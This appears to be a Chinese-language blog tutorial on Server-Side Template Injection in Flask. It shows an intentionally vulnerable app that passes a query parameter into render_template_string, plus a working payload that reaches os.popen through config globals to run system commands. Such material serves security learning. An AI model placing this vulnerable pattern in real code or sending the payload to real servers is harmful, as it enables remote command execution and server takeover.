SSTI模板注入

一、SSTI模板注入

解释:SSTI(Server-Side Template Injection)是一种在服务器端模板中注入恶意代码的攻击技术。它利用了模板引擎的漏洞,使攻击者能够将恶意代码插入到模板中,在服务器端执行这些代码,例如python的flask就存在容易出现这个问题。

危害:

  1. 代码执行:攻击者可以通过SSTI注入在服务器端执行任意代码,包括命令执行、远程文件包含等攻击。这可能导致服务器被完全控制,进一步导致数据泄漏、服务器崩溃或恶意操作。

  2. 敏感信息泄露:攻击者可以通过SSTI注入获取服务器上的敏感信息,如数据库连接字符串、API密钥等。这可能导致用户数据泄露、系统被入侵或身份盗窃等问题。

  3. 垂直和横向越权:通过SSTI注入,攻击者可能访问到非授权的数据或功能,实施垂直或横向越权行为。这可能导致用户权限被提升、重要数据被访问或其他合法用户遭受影响。

  4. DoS攻击:攻击者可以通过SSTI注入导致服务器负载过高,从而拒绝服务,使网站或应用程序无法正常运行。

二、SSTI模板注入案例

示例:
python

# render_template则不会出现这个ssti注入的问题,会自动转义
from flask import Flask, render_template, request, render_template_string

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'GET':
        user_input = request.args.get('flag')
        html = '''%s''' % user_input
        return render_template_string(html)
    return render_template_string('use get')

if __name__ == '__main__':
    app.run(debug=True)

三、SSTI模板注入代码

测试代码:http://127.0.0.1:5000/?flag={{ config.__class__.__init__.__globals__['os'].popen('ipconfig').read() }}

  1. config.class.init.globals[‘os’].popen(‘任意执行的命令’)
  2. read()将反馈的内容打印出来
  3. config.__class__.__init__.__globals__['os'].popen('ipconfig').read():通过ipconfig如果有打印可以得知对方为windows;若ifconfig有打印则对方为linux

你可能感兴趣的:(#,服务器安全,python)